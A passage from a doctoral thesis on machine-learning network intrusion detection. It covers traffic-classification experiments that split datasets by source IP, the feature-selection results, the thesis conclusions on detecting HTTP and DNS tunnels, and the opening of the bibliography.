The intuition is that two flows generated by the same host have a common
dependency, whereas flows generated by 2 different hosts do not, i.e. flows from
the same host will share environmental factors such as the particular software
versions and configurations (affecting behaviours including average packet sizes
and number of flows), and the same processing speed of the host and position
in the network (affecting timing). ML implicitly includes these environmental
factors in the model. Hence classifying further flows from the same host is likely
to be more accurate than classifying flows from a different host. In effect, the
model is prone to overfitting to the particular hosts in the training set. This
overfit model is ideal for classifying future traffic from the same hosts on the
same network. However, if new hosts appear or services change, accuracy is
expected to drop.
Our proposed approach uses half the source IP addresses for training/CV,
and saves the other half for a hold-out test data set. Testing therefore classi-
fies traffic from previously unseen IP addresses. The test accuracy can then be
expected to translate to real-world traffic, even when new IP addresses are ob-
6.5. Experiments 191
served. The proposed approach should also be suitable when ground truth data
is only available for a limited set of IP addresses, but the classifier is intended
to be used on a much larger set of IP addresses, e.g. when GT is installed on a
subset of hosts [82].
While supervised ML traffic classifiers in the literature generally remove IP
address fields before training to exclude them from the model, this does not
ensure the training and test datasets contain traffic from different IP addresses.
Hence it is not a sufficient method to ensure dataset independence.
In this chapter we choose to group flows by source IP before splitting into
independent datasets. While we think this is a fair method, other options beyond
the scope of this chapter could also be explored, e.g. grouping by edge (source IP
and destination IP), service (IP and port), or destination IP. These aggregation
methods range from fine to more coarse-grained.
Results
To create training and test datasets with disjoint sets of source IP addresses, we
identified all clients in the traffic, and then grouped flows by client IP address.
Half the groups were assigned to the training/CV dataset and the remaining
to the test dataset. Clients were chosen for two reasons. Firstly, each client
generally accounts for a small fraction of the total traffic, allowing for an even
split of data. Secondly, clients generate multiple types of traffic leading to an
even spread of traffic classes. If servers were chosen instead, then a dominant
server may account for a large proportion of the traffic, making an even split of
the data difficult, and potentially leading to a training set being dominated by
a single traffic class.
For the UNIBS dataset, client IP addresses are simply the 19 hosts instru-
mented with GT. Flows generated by these hosts have ground truth labels. For
the synthetic dataset, the list of client IP addresses was calculated using yaf in
bidirectional mode and finding the list of unique source IP addresses. For the
UPC dataset client IP addresses were extracted from all request flows (defined
as those flows followed later by a flow in the reverse direction).
The same ML process used in the first experiment in Section 6.5.1 was fol-
lowed, with the only modification being splitting datasets by source IP address.
To reduce the chance of a particular data split biasing the results, the ML process
was repeated 5 times on each feature set and the results averaged. Test results
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Reference features Yaf Flow Statistics Multi-flow
Dataset SVM C4.5 SVM C4.5 SVM C4.5
UNIBS 0.827±0.026 0.852±0.039 0.833±0.037 0.878±0.043 0.862±0.053 0.900±0.042
UPC 0.636±0.085 0.918±0.006 - - 0.615±0.163 0.928±0.005
Synth 0.936±0.005 0.994±0.001 0.938±0.011 0.992±0.001 0.926±0.006 0.988±0.001
Table 6.9: Summary of experiment fscore results - datasets split by source IP.
Highest fscore per dataset marked in bold.
are shown in Table 6.9 with two main conclusions:
1. Lower fscore: for the UNIBS dataset there is a 7% to 12% drop in test
fscore when the training and test datasets are split by source IP (as
compared to a random split shown in Table 6.7). For the UPC dataset the
drop is approximately 2%.
2. Additional features improve the fscore: e.g. for the UNIBS dataset, the
C4.5 fscore increases from 0.852 for the reference feature set to 0.900 for
the combined set of features.
The lower fscores are likely due to making the ML problem harder. Rather
than training and testing on similar traffic from the same IP addresses, we now
test on traffic from different IP addresses. To achieve a correct classification
result, the classifier must have learnt a more general concept (such as a traffic
class) which applies to multiple hosts, rather than a feature value particular to a
single host. Since the test accuracy is measured on unseen IP addresses, accuracy
should be maintained for new IP addresses observed in network traffic over time.
This contrasts with the first experiment which provided a much higher accuracy
but only for a particular set of IP addresses.
While the test results for UPC and UNIBS datasets are all lower, the training
and CV scores remain high (as per the previous experiment), e.g. fscores for
the UNIBS reference set are now: training 0.995±0.003, CV 0.988±0.006, and
test 0.827±0.026. The lower fscores on the test datasets are a clear indication
that the models are overfitted to the training set. By extrapolation, the models
in the previous experiment were also overfitted (since the same ML process and
model parameters were used). Overfit models can result in classifiers which are
fragile to changes in the input data such as observing traffic from different IP
addresses. The results of the experiment therefore show hypothesis 2 to be true.
Optimistic fscores were obtained when there were clear dependencies between
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the training and test datasets. It is only when some of these dependencies are
removed that it becomes clear the models are overfitted to the training set, and
lower test accuracy is observed.
The results of this experiment also back hypothesis 1. Additional features
were shown to improve traffic classifier accuracy. Making additional features
from our study available improved the UNIBS fscore by almost 5%. The fea-
tures responsible for this improvement are discussed in Section 6.5.3. No such
improvement was observed in the previous experiment (Section 6.5.1) when the
standard “random split” of data was used. This may be because the fscore
was already high at 0.986 making it difficult for additional features to have any
impact.
In our experiment, the CV step was not useful because it did not select a more
general model. The grid search of the decision tree and SVM parameters returned
the same values as the first experiment. We suspect this occurred because the
training and CV datasets contained traffic from the same IP addresses, and hence
CV supported overfit models. Hence, future work will ensure distinct sets of IP
addresses are allocated to all 3 datasets (training, CV and test), rather than just
2 datasets as done in this experiment.
This experiment reduced the average tree size to 293 (c.f. 446 for datasets
split randomly). The models are therefore simpler. While the training set has
the same number of flows as the previous experiment, the reduced model size
could be explained by it modelling only half the IP addresses.
Unlike on other datasets, the test fscores on the synthetic dataset remain
almost unchanged compared to the previous experiment. Manual inspection of
the features extracted from synthetic traffic showed significant repetition, with
most variation between flows limited to port numbers and inter-arrival times.
We suspect the traffic generator uses a single algorithm to produce all traffic for
a simulated application. Hence traffic features will be similar regardless of the
IP addresses observed. This explains why splitting synthetic traffic by source IP
address has no impact on traffic classification.
Table 6.10 shows the confusion matrix for a single UPC test with independent
train and test datasets. It can be compared to the confusion matrix in Table 6.8.
Classes streaming and chat still have lower fscores, and class DNS remains the
highest.
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a b c d e f g h i j k ← classified as
297100 789 29642 1111 37 67 0 39 14 16 3 a = p2p
820 116268 6342 14 79 0 0 30 31 0 0 b = web
13725 10037 279234 1330 15 57 4 314 121 9 24 c = voip
765 154 1512 23723 1 12 0 0 2 1 0 d = netops
78 166 233 3 209 0 0 0 10 0 0 e = streaming
24 1 12 0 0 43187 0 0 0 0 0 f = dns
0 0 0 0 0 0 0 0 0 0 0 g = others
184 21 530 59 3 4 0 1948 0 0 0 h = chat
15 49 54 1 1 0 0 0 5377 4 0 i = email
2 0 1 0 0 0 0 0 0 44 0 j = ftp
136 1 250 1 0 0 0 0 0 0 829 k = games
Table 6.10: Confusion matrix of traffic classification results - datasets split by
IP address. Single test result for UPC dataset using Multi-flow features.
6.5.3 Feature Selection Output
As part of the automated feature engineering process which generated many
candidate features, feature selection was used to identify those most useful for
traffic classification. Our study created multiple feature sets, firstly the reference
set of crlpay features, then a set with yaf features added, and lastly a set adding
multi-flow features. In each case, GRRF feature selection was used to limit the
number of features used by the ML algorithm. The selected features for the
second experiment (Section 6.5.2) are now discussed.
For the UNIBS dataset, from the 37 crlpay reference features, those selected
were source and destination ports, packet 3 size, and the maximum, minimum
and standard deviation of packet size in the flow. Port numbers were expected to
be selected as they still remain a useful identifier for some applications, and ini-
tially were the sole features used for traffic classification [104]. The size of packet
3 was also selected, although the sizes of all first 10 packets in the unidirectional
flow were available. We investigated why packet 3 was chosen. In the UNIBS
pcap traffic, packet 3 usually corresponds to the first non-empty packet in the
flow. The first two packets are usually control packets for the TCP handshake
during session setup. Since packet 3 contains application data, it is relevant to
traffic classification. The other selected features are packet size statistics in the
flow which have previously been shown to be relevant [104, 196].
When yaf and reference features are available the same features are selected,
but with the addition of average round trip time and first non-empty packet size
in the flow. Round trip time (or inter-arrival time) has previously been used
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Figure 6.1: UNIBS dataset, features selected by GRRF at least 3 times. (R)
denotes reference feature, (Y) yaf feature, and (M) multi-flow feature.
in traffic classification [74, 40]. The “first non-empty packet size” feature skips
empty packets such as transport layer control packets for session initiation or
acknowledgements. These empty packets are not related to the application layer
traffic being classified. In contrast, non-empty packets contain application layer
information and hence are directly related to the traffic classes. The first non-
empty packet size feature is therefore similar to packet 3 size, with the advantage
not being specific to TCP.
When multi-flow, yaf and reference features are available, GRRF selects the
features shown in Figure 6.1. Source port, minimum packet size and round trip
time are omitted in favour of some multi-flow statistics. These included averages
of first non-empty packet size, packet 3 size, and source and destination port
numbers per source and destination IP address pair. Even with a large set of
additional candidate features, some features from the reference crlpay set are
still selected showing they are very relevant to traffic classification.
Feature selection results combined for all datasets are shown in Figures 6.2
and 6.3. Ports, first non-empty packet size, and packet 3 size features remain
relevant. However Figure 6.3 shows the selected features can vary significantly
between each dataset. One reason for this is minor differences in the way datasets
were created from network traffic, e.g. the UNIBS dataset only has ground truth
for outgoing flows (client to server). Hence the server destination port is likely to
be more indicative of the traffic class than the ephemeral source port. Conversely,
the UPC dataset has ground truth for both client to server and server to client
flows. Hence, the source port (for server to client flows) will be relevant for the
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Figure 6.2: All datasets, features selected by GRRF more than 20% of the time.
(R) denotes reference feature, (Y) yaf feature, and (M) multi-flow feature.
0.0%
5.0%
10.0%
15.0%
20.0%
25.0%
30.0%
35.0%
40.0%
45.0%
50.0%
P
e
rc
e
n
ta
ge
 o
f 
ti
m
e
s 
fe
at
u
re
 w
as
 s
e
le
ct
e
d
 
Feature Name 
synthetic
unibs
upc
Figure 6.3: All datasets, features selected by GRRF more than 20% of the time,
and displayed per dataset. (R) denotes reference feature, (Y) yaf feature, and
(M) multi-flow feature.
dataset. Given such differences can affect feature relevance, generating many
candidate features for each dataset and using an objective measurement to select
features seems a suitable approach.
Feature selection chose a small number of features from the total list of can-
didate features. On average, GRRF selected 8.3 features from the 37 in the
reference set. This increased to 9.2 selected features from the reference plus yaf
statistics set, and 10.9 features selected from the reference plus yaf plus multi-
flow statistics set containing over 300 candidates. The same number of features
were selected on average for both experiments (each using a different dataset
split method). The selection of only a small number of features assisted ML by
significantly reducing computation time and memory requirements, especially for
the SVM algorithm.
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In summary, feature selection found some of the discriminative features to be
those in the reference feature set. However it also identified additional discrimi-
native features from the study. They were:
• first non-empty packet size
• destination port average per source host and per host pair
• source port average per source host and per host pair
• average of first non-empty packet size per host pair
• average packet 3 size per host pair
6.6 Comparison to Alternative Framework
Earlier in this chapter we developed a traffic classifier which uses an extended
set of candidate features generated by our feature engineering framework. We
call this the extended classifier. In the previous Section 6.5 we compared its
accuracy to a reference classifier which we reimplemented from the literature
[104]. The purpose of the comparison was to demonstrate that our extended
traffic classifier achieves similar (or better) accuracy to another published traffic
classifier on multiple openly-available datasets.
However, we have not yet directly compared the effectiveness of our chosen
feature construction and feature selection methods (applied to traffic classifi-
cation) to other methods in the literature. Hence, in this final experiment we
compare our feature engineering framework to another published framework by
Xu [190]. The experiment uses the same approach as the HTTP tunnel detector
comparison described in Section 4.7.2.
For our feature engineering framework we already have traffic classification
results. Hence, to do the comparison we require traffic classification accuracy
to be measured for Xu’s adaptive intrusion detection framework. To perform
our experiment we built a traffic classifier as described in that framework, i.e.
KDD99 feature construction, PCA feature extraction, and an SVM classifier.
We ran KDD99 feature construction on all three of our datasets: UPC,
UNIBS and Synthetic. PCA was then applied to reduce the number of fea-
tures, with parameters chosen to retain enough principal components to account
for 99.9% of the variance. A multi-class SVM classifier was chosen with a radial
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base function (RBF) kernel and parameters gamma = 1.0 and cost = 1.0. The
classifier was therefore built using Xu’s adaptive intrusion detection framework.
A classifier was trained on each dataset using the same method as used for our
extended traffic classifier, i.e. trained on a random half of the dataset as de-
scribed in Section 6.5.1. The classifier fscores are compared to our automated
feature engineering fscores in Table 6.11.
Adaptive Intrusion Detection Automated Feature Engineering
Dataset SVM C4.5 SVM C4.5
UNIBS 0.906 0.935 0.967±0.004 0.987±0.001
UPC 0.651 0.927 0.802±0.008 0.945±0.003
Synth 0.580 0.773 0.918±0.007 0.986±0.001
Table 6.11: Traffic classification fscore results comparing two frameworks.
Datasets split in random half for training, other half testing. Highest fscore
per dataset is marked in bold. Fscore errors for the Adaptive Intrusion Detection
results are unknown because only a single test was run (on the first random split
as a quick test).
A second classifier for each dataset was trained on data instances produced
by a random half of the IP addresses as per Section 6.5.2. Splitting the data
by IP addresses ensures the training data contains one set of IP addresses, and
the test data contains an independent set of IP addresses. Hence we ensure we
are not training and testing on the same repetitive traffic. Classifier fscores are
shown in Table 6.12.
Adaptive Intrusion Detection Automated Feature Engineering
Dataset SVM C4.5 SVM C4.5
UNIBS 0.876 0.867 0.862±0.053 0.900±0.042
UPC 0.648 0.908 0.615±0.163 0.928±0.005
Synth 0.597 0.786 0.926±0.006 0.988±0.001
Table 6.12: Traffic classification fscore results comparing two frameworks.
Datasets split by source IP for training and testing. Highest fscore per dataset
is marked in bold. Fscore errors for the Adaptive Intrusion Detection results are
unknown because only a single test was run (on the first random split as a quick
test).
All traffic classification scores in Tables 6.11 and 6.12 are higher for our auto-
mated feature engineering framework compared to using the adaptive intrusion
detection framework. This clearly shows the effectiveness of our framework.
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The adaptive intrusion detection framework uses PCA to reduce the number
of features, and hence the transformed features are expressed in terms of principal
components. These transformed features are more difficult to interpret than the
original features, and so the resulting decision tree is also difficult to interpret.
Explaining why the results are lower in terms of specific features is therefore
not straightforward. However, in general we would expect classifier results to be
lower when based on KDD99 features. This is because KDD99 features consist
mainly of MCD statistics, and omit features from within a single connection
such as individual packet sizes and inter-arrival times which are known to be key
discriminators for traffic classification.
6.7 Discussion
In our main experiment to test the accuracy of traffic classifiers built from an ex-
tended set of candidate features, GRRF feature selection chose “first non-empty
packet size” and “packet 3 size” over other similar features such as the size of the
first or second packet in the flow. We believe these features were selected because
they contain information about application-level traffic. Packet 3 in a unidirec-
tional TCP source flow is usually the first to contain application data. Hence
this packet should be more relevant to traffic classification than other empty
TCP control packets. As future work we therefore intend to ignore all control
packets and header sizes, and instead extract features about the application data
(without requiring analysis of application payloads). An example would be mea-
suring the sizes of the first 10 non-empty packets in a unidirectional flow, c.f.
crlpay which currently outputs the first 10 packet sizes regardless of whether
they are empty. The packet sizes could be reported as transport layer payload
size only, i.e. omit network and packet header sizes, to remove complexities of the
lower-level protocols such as variable header lengths. Similarly, the round trip
time could instead be calculated only for non-empty packets, hence making it
an application round trip time feature. Generating these features would require
different software, or changes to existing software. These application-layer meta-
data features (such as non-header packet size and non-empty packet inter-arrival
times) may assist traffic classification. A similar approach of ignoring empty
packets has been taken in the analysis of TLS traffic [4].
The feature selection results also identified a number of multi-flow statistics as
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useful discriminators for traffic classification. These included averages of packet
3 size, port numbers and first non-empty packet size for flows between source
and destination host pairs. While these multi-flow statistics have been shown
to be useful, they can be computationally intensive to calculate. Maintaining
state tables for each source and destination IP address pair can also have large
memory requirements. Despite these difficulties, there may be low cost streaming
methods to calculate these features. Existing graph-based approaches such as
BLINC and Graption similarly use multi-flow information and hence maintain
state information. Generating all the multi-flow statistics from this study in real-
time is clearly not scalable. Instead, the intention was to produce them oﬄine.
The study would then identify the most relevant multi-flow statistics to generate
for ongoing traffic classification.
Our “dataset independence” approach of training and testing classifiers on
traffic from distinct sets of source IP addresses uncovered evidence of overfitting
and also allowed us to measure classifier accuracy on traffic from unseen IP
addresses. The results should therefore translate to situations where the classifier
is used on different IP addresses to those it was trained on, e.g. on a dynamic
network where new addresses and services are regularly observed, or when ground
truth is only available for a subset of hosts but the intention is to apply the traffic
classifier to all hosts.
Our proposed “dataset independence” approach is not required for a static
network. Traffic classification on a static network would benefit from being
trained on traffic from every IP address. Hence the standard approach of ran-
domly splitting data would instead be more suitable. Provided the network and
services remain static, traffic classification accuracy should be maintained. The
standard approach would also be suitable when the training set is fully represen-
tative of the live network.
Further work is required to improve statistical traffic classifiers to comple-
ment mainstream deep packet inspection traffic classifiers. It is expected that
statistical classifiers will become more important as the proportion of encrypted
traffic rises.
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6.8 Conclusion
We performed an extended study of NetFlow-style features with the aim of find-
ing additional features relevant to traffic classification. The study made use of
existing tools (crlpay, yaf, and our feature engineering framework) to generate
a large pool of candidate features. The most discriminative of these features were
identified using GRRF feature selection. The accuracy of traffic classifiers using
the selected features was compared to classifiers using only a smaller reference
set of features.
Initially, the additional features from the study did not improve traffic clas-
sification accuracy over the reference set. The classifiers on the UNIBS dataset
all achieved approximately 99% accuracy (measured as an fscore), regardless
of how many features were made available. Investigations concluded that the
standard practice of allocating flows randomly into training, cross validation and
test datasets was not suitable in our experiments because it did not produce
independent datasets. Machine learning assumes independence, and hence these
initial traffic classification results may have been artificially high. Some results in
the literature which also randomly allocated flows to training and test datasets
may suffer the same problem.
Next, we eliminated some dependencies by ensuring the training and test
datasets contained traffic from different hosts. The classifiers were therefore
guaranteed to be trained and tested on different traffic. Under these conditions
traffic classification accuracy for the UNIBS dataset was lowered to 85% using
features from the reference set. Importantly, with the addition of yaf and multi-
flow features, accuracy improved to 90%. While standard features from the
reference set such as ports and packet size statistics were found to be useful
discriminators of traffic classes, other features were found during the survey
which accounted for the 5% improvement. These were: first non-empty packet
size, destination port average per host pair, source port average per source host,
average of first non-empty packet size per host pair and average packet 3 size
per host pair. Our interpretation of why “first non-empty packet size” and
“packet 3 size” were selected over other features was that the information about
application-level traffic is more important to traffic classification than lower-level
protocol information. Future work will investigate whether creating features
which abstract the complexities of transport and lower protocols (e.g. ignoring
empty TCP packets when calculating inter-arrival times) further improves traffic
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classification.
In the next chapter we conclude the thesis by summarising its contributions.
Chapter 7
Conclusion
In this chapter we summarise the contributions of the thesis, outline limitations,
and propose future directions.
7.1 Research Summary
In Chapter 1 we provided motivation for the thesis, starting with the fact that
most commercial NIDS are misuse-based and rely on precise signatures for de-
tection. However, they can be evaded either with novel attacks or by obfuscating
the attack while it is on the network. When attacks cannot be detected, organi-
sations are left vulnerable to compromise and having their intellectual property
stolen without their knowledge. This motivated our work on using a comple-
mentary machine learning based method to improve detection. In particular,
supervised ML-based detectors can learn from previous attacks and investiga-
tions. They can also detect novel attacks which are similar to previous attacks
without having to precisely encode the attack in a signature.
However, in Section 1.1.8 we also identified challenges in applying ML to net-
work security. The main problem was that machine learning cannot be directly
applied to network traffic, but instead only to a fixed set of features derived
from it. Constructing these features (in a process called feature engineering) is a
critical step. It defines the ML algorithm’s “view” of network traffic, and hence
implicitly places bounds on the detector’s capabilities. For example, if only the
packet headers in network traffic are made into features, then the detector is
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blind to any activity in the packet body (payload). Due to the importance of
feature engineering to ML-based detectors, Aim 1 in the thesis was to understand
existing approaches to feature engineering in the field of network security.
To address this aim we performed a literature review. We reviewed papers
about ML-based NIDS, noting what features were constructed from network
traffic. Traffic features were grouped by type: packet header, protocol, or con-
tent features. A variety of packet header approaches were found. The first ap-
proach used individual packet headers. They were usually compared to a model
to identify anomalous packets. The second approach grouped packets per net-
work connection, and features were created to summarise all packet headers in
each connection. These were named single connection derived (SCD) features.
The third approach aggregated multiple network connections over a time pe-
riod. Features were created as statistical summaries of all packet headers in the
aggregation, e.g. average network connection byte count.
The review showed that many earlier papers focussed on these packet header-
based approaches. Detectors using these features were able to identify activity
such as reconnaissance scans and DoS, as well as attacks against the TCP/IP
stack. However, they were not used to detect many modern threats. The
widespread use of perimeter defences has forced attackers to use new vectors
such as web-based attacks and crafted application data. Features derived from
application data (rather than packet headers) are required to more reliably detect
these attacks. The review found some interesting approaches deriving features
from user parameters in the HTTP protocol URL field to detect web application
attacks. It also found several papers calculating n-gram and entropy features
from payloads for both web server and web client attack detection.
The literature review informed work in the remainder of the thesis. In par-
ticular it showed the utility of preprocessing traffic into network connections
(or flows) which we used throughout our work. It also showed the relevance of
n-grams and entropy calculated from free-text strings in network data. In our
feature engineering framework (Section 3.2) we applied these two operators to
all string features extracted from network traffic. The review also showed that
metrics calculated across multiple flows were useful to identify behaviour in a
time period, e.g. DoS attacks. We therefore incorporated average and standard
deviation metrics into our feature engineering framework.
The review identified a large number of features used for various network
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security applications. However, when building a new detector it was not clear
which of those features should be used. This led to Aim 2 of the thesis to
automatically find key features from network traffic so machine learning could
be more readily applied to new problems.
Contribution 1: We developed an automated feature engineering frame-
work to generate a set of candidate features from raw network traffic,
and to select the most relevant features for each application. The work
is described in detail in Section 3.2.
Key, or relevant, features enable a ML-based classifier to learn to discrimi-
nate normal and malicious traffic. If ML is instead provided a set of irrelevant
features, the same classifier will not be able to reliably discriminate the traffic.
Hence, constructing a set of relevant features (part of the feature engineering
process) is key to classifier performance. Feature engineering is often an ad-hoc
process, involving trial and error to find which traffic features are most relevant
to the detection problem. Such a process requires domain knowledge, and is
time consuming when done iteratively. We aimed to find a less ad-hoc solution
to feature engineering by developing an automated process.
Our approach was to design an automated feature engineering framework
which constructs a large set of candidate features directly from network traffic,
and then selects the most relevant subset of features for each application. The
framework consists of four main components operating in a pipeline. The first
component is the network traffic parser. It takes network traffic as input, recon-
structs flows, and then decodes the chosen protocol (e.g. the application level
protocol) to extract the value of each field. The result of decoding is a set of
attribute-value pairs. These are vectorised into a format suitable for ingestion
by ML algorithms. A set of these vectorised features (known as SCD features)
is produced for each network flow. They are then passed to the second compo-
nent named the SCD feature transformer. Its job is to convert all non-numeric
features to numeric, for use with a variety of ML algorithms. Specifically, op-
erators are applied to all string features to calculate their length, entropy and
unigram. The original string is then discarded. The numeric features are passed
to the third component named the MCD feature constructor. It aims to repre-
sent behaviour across multiple flows by calculating appropriate metrics. Metrics
currently include average and standard deviation of all numeric features, calcu-
lated over a window of flows in configurable contexts such as per edge (source
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IP and destination IP pair). This step produces at least two additional features
for each input numeric feature. The fourth and final component is the feature
selector. Its role is to reduce the size of the feature set while preserving the most
informative features. Selecting the most informative features requires a labelled
training set.
All components in the framework are automated. The framework is our first
contribution. To evaluate our automated feature engineering framework (as per
Aim 3), we applied it to a network security problem: HTTP tunnel detection.
Contribution 2: We implemented automated feature engineering to
generate features directly from HTTP network traffic. The features
were relevant to the detection of HTTP protocol tunnelling, as de-
scribed in Section 4.4.
HTTP tunnels are a form of covert communication used by a number of
APTs to exfiltrate data from a target network in order to steal their intellectual
property and other information. HTTP tunnels are popular due to the fact that
HTTP is generally allowed to egress an organisation while most other protocols
are blocked. Detection is difficult since the tunnel traffic can blend in with the
the large amount of other HTTP (Web) traffic observed on networks. Developing
a HTTP tunnel detector using our automated feature engineering framework was
our second contribution.
To verify the contribution, we measured HTTP tunnel detection performance.
This was achieved by running a number of HTTP tunnels in a testbed and
capturing the traffic. We also captured normal HTTP traffic in the testbed
as well as on a real network. After training on a portion of the data we then
tested the tunnel detector’s ability to differentiate the normal and tunnel HTTP
traffic. For comparison, we also built another classifier using features manually
derived by analysing tunnel network traffic and previous literature. We compared
the accuracy of the two classifiers and demonstrated that features generated
automatically were as effective as those generated manually.
We also wanted to compare the effectiveness of our feature engineering to
alternatives from the literature. Hence we experimented with a HTTP tunnel
detector built using an alternative framework. The detector built using our
framework achieved higher results.
Contribution 3: We implemented automated feature engineering to
generate features directly from DNS network traffic suitable for the
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detection of DNS protocol tunnelling in Section 5.3.
After completing the HTTP tunnel detector, we aimed to demonstrate our
framework could be applied to other detection problems, and that customisations
of the software required to achieve this would be minimal. We therefore chose
another network security problem named DNS tunnel detection. DNS tunnels
are also a type of protocol tunnelling which can be used by APTs to exfiltrate
data. Our work on the DNS tunnel detector formed the third contribution of the
thesis.
To verify the contribution, we ran several DNS tunnels in a testbed connected
to the internet and captured their traffic. We also captured a sample of normal
DNS traffic. After creating labelled datasets from the captured network traffic,
we used supervised ML to build a classifier named the DNS exfiltration detector.
The classifier used network traffic features constructed by our automated feature
engineering framework. It successfully learnt to discriminate normal DNS traffic
from tunnel DNS traffic. We studied the learnt model to find which features the
classifier used, and explained why those features were relevant to each DNS tun-
nel implementation. The work showed that automated feature engineering could
be easily adapted to work on DNS traffic. It provides evidence that automated
feature engineering can be successfully applied to more than one problem.
To compare our automated feature engineering framework to an alternative
framework, we built DNS tunnel detectors with each framework and compared
their accuracy. The results showed detectors built using our framework had
higher detection accuracy in all cases. This provides some validation for our
chosen feature construction and selection methods.
Contribution 4: We performed an extended study of metadata features
relevant to a common network security function known as “traffic clas-
sification”. We described which features from the study were found
to be most discriminative, and to what extent they improved traffic
classification accuracy. The work is described in Chapter 6.
The work up to this point in the thesis assumed the payload of network traf-
fic is available for analysis. However, with the increasing use of encryption for
privacy and security reasons, a significant portion of traffic payloads are now en-
crypted. Hence we investigated how network security applications can operate in
this changing environment. Some commercial products, known as SSL intercept
appliances, perform a man-in-the-middle operation to decrypt SSL, analyse it for
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threats, and then re-encrypt the traffic. We investigated an alternative approach
called traffic analysis which has lower capability than full payload analysis, but
which has the advantage of not requiring decryption. Instead, it analyses traffic
metadata features, e.g. size and timing of packets. Hence Aim 4 was to perform
an extended study of the metadata features from encrypted traffic available for
use in network security applications. To evaluate the metadata features identi-
fied in the study, we applied them to the well-known network security problem
named traffic classification.
The study started with standard NetFlow generation tools to produce a set
of metadata features. These features were then input to the automated feature
engineering framework from Section 3.2 to derive additional candidate features
and to select the most relevant set. Traffic classifiers were built from the selected
features, and traffic classification accuracy was measured on three test datasets.
While standard NetFlow features such as ports and packet size statistics were
found to be useful discriminators of traffic classes, other features in the extended
survey accounted for a 5% improvement in classification accuracy. These were:
first non-empty packet size, destination port average per host pair, source port
average per source host, average of first non-empty packet size per host pair and
average packet 3 size per host pair. The study of metadata features formed our
fourth contribution.
As part of the contribution we also proposed a strategy to reduce overfitting
of the ML model by ensuring training, cross validation and test datasets contain
independent network traffic. Our strategy was to ensure each of these datasets
contained different (disjoint) sets of source IP addresses.
7.2 Future Work
Future work could expand the functionality of the automated feature engineering
framework developed in this thesis.
• Expand set of feature construction operators : Operators are used in the
framework to derive additional candidate features from the base features.
The intention is to expand this set of operators as new informative features
are discovered by the research community.
• Enhance use of multi-flow discriminators : In the current framework, each
network traffic flow is an observation which is then provided to the ML
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algorithm in vectorised format. ML then favours features which most ac-
curately discriminate the class of individual flows. Features spanning mul-
tiple flows (MCD features) may not be so accurate on individual flows, and
hence ML may ignore MCD features. Future work will make better use of
MCD features by aggregating multiple flows into a single observation for
ML.
• Expand the supported list of network traffic protocols : The framework has
been tested with HTTP and DNS traffic as well as NetFlow summaries.
Further work will test support of other network protocols.
• Expand framework to support unsupervised ML: The “feature selection”
step in the framework currently requires labelled datasets to find the most
discriminative features. Future work will remove this framework require-
ment to support unsupervised ML with unlabelled data.
Significant effort in this thesis went into ensuring experiments were repre-
sentative of real-world scenarios. This ensured our results were meaningful in
today’s networks. However, our datasets were snapshots of network traffic which
could be analysed oﬄine in batch mode. For the detectors to work on a live
network, several operational aspects would need to be addressed. These are dis-
cussed in Section 3.4.4 and include scalability, generating features on live traffic,
integrating multiple detectors for efficiency, and post-processing alerts.
Feature engineering is an issue when applying ML to any problem includ-
ing popular fields such optical character recognition, speech recognition, image
recognition and language translation. While feature engineering is typically per-
formed by domain experts and is specific to each field, recent advances in deep
learning have demonstrated a less manual, data driven approach with parallels
to our automated feature engineering approach. This is discussed in Section 3.4.
Further work could investigate whether deep learning could be leveraged in the
automated feature engineering framework.
210 Chapter 7. Conclusion
Bibliography
[1] H. Abdulsalam, D. Skillicorn, and P. Martin. Classifying evolving data
streams using dynamic streaming random forests. In Database and Expert
Systems Applications, pages 643–651. Springer, 2008.
[2] C.C. Aggarwal, J. Han, J. Wang, and P.S. Yu. A framework for clustering
evolving data streams. In Proceedings of the 29th international conference
on Very large data bases-Volume 29, pages 81–92. VLDB Endowment, 2003.
[3] F. Allard, R. Dubois, P. Gompel, and M. Morel. Tunneling activities detec-
tion using machine learning techniques. Technical report, DTIC Document,
2010.
[4] B. Anderson, S. Paul, and D. McGrew. Deciphering malware’s use of tls
(without decryption). arXiv preprint arXiv:1607.01639, 2016.
[5] S. Axelsson. The base-rate fallacy and the difficulty of intrusion detection.
ACM Transactions on Information and System Security (TISSEC), 3(3),
2000.
[6] R. Bace and P. Mell. Intrusion detection systems. Technical Report 800-31,
National Institute of Standards and Technology (NIST), Special Publica-
tion, 2001.
[7] D. Barbara, N. Wu, and S. Jajodia. Detecting novel network intrusions
using bayes estimators. In First SIAM Conference on Data Mining, 2001.
[8] E.B. Beigi, H.H. Jazi, N. Stakhanova, and A.A. Ghorbani. Towards ef-
fective feature selection in machine learning-based botnet detection ap-
proaches. In Communications and Network Security (CNS), 2014 IEEE
Conference on, pages 247–255, Oct 2014. doi: 10.1109/CNS.2014.6997492.
211
212 BIBLIOGRAPHY
[9] A. Berger and E. Natale. Assessing the real-world dynamics of dns. In
International Workshop on Traffic Monitoring and Analysis, pages 1–14.
Springer, 2012.
[10] A. Bifet, G. Holmes, B. Pfahringer, R. Kirkby, and R. Gavalda`. New
ensemble methods for evolving data streams. In Proceedings of the 15th
ACM SIGKDD international conference on Knowledge discovery and data
mining, pages 139–148. ACM, 2009.
[11] E. Bloedorn, L. Talbot, and D. DeBarr. Data mining applied to intru-
sion detection: Mitre experiences. Machine Learning and Data Mining for
Computer Security, pages 65–88, 2006.
[12] D. Bolzoni, S. Etalle, and P. Hartel. Poseidon: a 2-tier anomaly-based
network intrusion detection system. In Information Assurance. IWIA 2006.
Fourth IEEE International Workshop on, pages 10–, 2006. doi: 10.1109/
IWIA.2006.18.
[13] D. Bolzoni, S. Etalle, and P. Hartel. Panacea: Automating Attack Classifi-
cation for Anomaly-based Network Intrusion Detection Systems. In Recent
Advances in Intrusion Detection, pages 1–20. Springer, 2009.
[14] K. Borders and A. Prakash. Web tap: detecting covert web traffic. In
Proceedings of the 11th ACM conference on Computer and communications
security, pages 110–120. ACM, 2004.
[15] K. Born and D. Gustafson. Ngviz: detecting dns tunnels through n-gram
visualization and quantitative analysis. In Proceedings of the Sixth Annual
Workshop on Cyber Security and Information Intelligence Research, CSI-
IRW ’10, pages 47:1–47:4, New York, NY, USA, 2010. ACM. ISBN 978-
1-4503-0017-9. doi: http://doi.acm.org/10.1145/1852666.1852718. URL
http://doi.acm.org/10.1145/1852666.1852718.
[16] K. Born and D. Gustafson. Detecting dns tunnels using character frequency
analysis. CoRR, abs/1004.4358, 2010.
[17] Y. Bouzida, F. Cuppens, N. Cuppens-Boulahia, and S. Gombault. Efficient
intrusion detection using principal component analysis. In Proceedings of
